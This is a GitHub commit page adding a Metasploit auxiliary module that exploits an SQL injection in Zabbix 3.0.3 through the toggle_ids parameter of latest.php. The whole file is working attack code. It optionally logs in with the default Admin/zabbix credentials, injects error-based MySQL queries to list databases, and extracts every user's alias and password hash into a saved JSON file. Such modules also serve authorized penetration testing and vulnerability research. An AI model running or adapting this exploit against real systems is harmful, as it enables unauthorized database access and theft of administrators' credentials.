Skip to content

Commit 2abf71a

Browse files
authored
Create zabbix_toggleids_sqli
1 parent 87d34cf commit 2abf71a

File tree

1 file changed

+237
-0
lines changed

1 file changed

+237
-0
lines changed
Lines changed: 237 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,237 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Zabbix toggle_ids SQL injection',
16+
'Description' => %q{
17+
This module will exploit a SQL injection in Zabbix 3.0.3 and
18+
likely prior in order to save the current usernames and
19+
password hashes from the database to a JSON file.
20+
},
21+
'References' =>
22+
[
23+
['URL', 'http://seclists.org/fulldisclosure/2016/Aug/60']
24+
],
25+
'Author' =>
26+
[
27+
'[email protected]', #discovery
28+
'bperry' #module
29+
],
30+
'License' => MSF_LICENSE,
31+
'DisclosureDate' => 'Aug 11 2016'
32+
))
33+
34+
register_options(
35+
[
36+
OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]),
37+
OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']),
38+
OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']),
39+
OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix'])
40+
], self.class)
41+
end
42+
43+
def check
44+
45+
sid, cookies = authenticate
46+
47+
left_marker = Rex::Text.rand_text_alpha(5)
48+
right_marker = Rex::Text.rand_text_alpha(5)
49+
flag = Rex::Text.rand_text_alpha(5)
50+
51+
query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
52+
query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)"
53+
query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
54+
query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
55+
56+
res = make_injected_request(query, sid, cookies)
57+
58+
unless res and res.body
59+
return Msf::Exploit::CheckCode::Safe
60+
end
61+
62+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
63+
64+
if match[1] == flag
65+
return Msf::Exploit::CheckCode::Vulnerable
66+
end
67+
68+
Msf::Exploit::CheckCode::Safe
69+
end
70+
71+
def run
72+
sid, cookies = authenticate
73+
74+
left_marker = Rex::Text.rand_text_alpha(5)
75+
right_marker = Rex::Text.rand_text_alpha(5)
76+
77+
query = " AND (SELECT 5361 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
78+
query << ",(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM"
79+
query << " INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x"
80+
query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
81+
82+
res = make_injected_request(query, sid, cookies)
83+
84+
unless res and res.body
85+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
86+
end
87+
88+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
89+
90+
count = match[1].to_i
91+
92+
dbs = []
93+
0.upto(count-1) do |cur|
94+
95+
get_dbs = " AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
96+
get_dbs << ",(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54)"
97+
get_dbs << " FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]},"
98+
get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
99+
100+
res = make_injected_request(get_dbs, sid, cookies)
101+
102+
unless res and res.body
103+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
104+
end
105+
106+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
107+
108+
dbs << match[1]
109+
end
110+
111+
dbs.delete("mysql")
112+
dbs.delete("performance_schema")
113+
dbs.delete("information_schema")
114+
115+
users = []
116+
dbs.each do |db|
117+
cols = ["alias", "passwd"]
118+
119+
user_count = " AND (SELECT 6262 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
120+
user_count << ",(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM"
121+
user_count << " #{db}.users),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
122+
user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
123+
124+
res = make_injected_request(user_count, sid, cookies)
125+
126+
unless res and res.body
127+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
128+
end
129+
130+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
131+
132+
count = match[1].to_i
133+
134+
0.upto(count-1) do |cur|
135+
user = {}
136+
cols.each do |col|
137+
get_col = " AND (SELECT 6334 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
138+
get_col << ",(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),1,54)"
139+
get_col << " FROM #{db}.users ORDER BY alias LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}"
140+
get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
141+
142+
res = make_injected_request(get_col, sid, cookies)
143+
144+
unless res and res.body
145+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
146+
end
147+
148+
match = /#{left_marker}(.*)#{right_marker}/.match(res.body)
149+
user[col] = match[1]
150+
end
151+
users << user
152+
end
153+
end
154+
155+
loot = store_loot("zabbixusers.json","text/plain", rhost, users.to_json)
156+
157+
print_good('Users and password hashes stored at ' + loot)
158+
159+
end
160+
161+
def authenticate
162+
res = send_request_cgi({
163+
'uri' => normalize_uri(target_uri.path, 'index.php')
164+
})
165+
166+
unless res and res.body
167+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
168+
end
169+
170+
cookies = res.get_cookies
171+
172+
res.body =~ /name="sid" value="(.*?)">/
173+
sid = $1
174+
175+
if datastore['REQUIREAUTH']
176+
177+
res = send_request_cgi({
178+
'uri' => normalize_uri(target_uri.path, 'index.php'),
179+
'method' => 'POST',
180+
'vars_post' => {
181+
'sid' => sid,
182+
'form_refresh' => 1,
183+
'name' => datastore['USERNAME'],
184+
'password' => datastore['PASSWORD'],
185+
'autologin' => 1,
186+
'enter' => 'Sign in'
187+
},
188+
'cookie' => cookies
189+
})
190+
191+
unless res
192+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
193+
end
194+
195+
if res.code == 302
196+
cookies = res.get_cookies
197+
198+
res = send_request_cgi({
199+
'uri' => normalize_uri(target_uri.path, 'latest.php'),
200+
'vars_get' => {
201+
'ddreset' => '1'
202+
},
203+
'cookies' => cookies
204+
})
205+
206+
unless res and res.body
207+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
208+
end
209+
210+
cookies = res.get_cookies
211+
res.body =~ /name="sid" value="(.*?)">/
212+
sid = $1
213+
elsif
214+
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
215+
end
216+
end
217+
218+
return sid, cookies
219+
end
220+
221+
def make_injected_request(sql, sid, cookies)
222+
send_request_cgi({
223+
'uri' => normalize_uri(target_uri.path, 'latest.php'),
224+
'method' => 'POST',
225+
'vars_get' => {
226+
'output' => 'ajax',
227+
'sid' => sid
228+
},
229+
'vars_post' => {
230+
'favobj' => 'toggle',
231+
'toggle_ids[]' => '348 ' + sql,
232+
'toggle_open_state' => 0
233+
},
234+
'cookie' => cookies
235+
})
236+
end
237+
end

0 commit comments

Comments
 (0)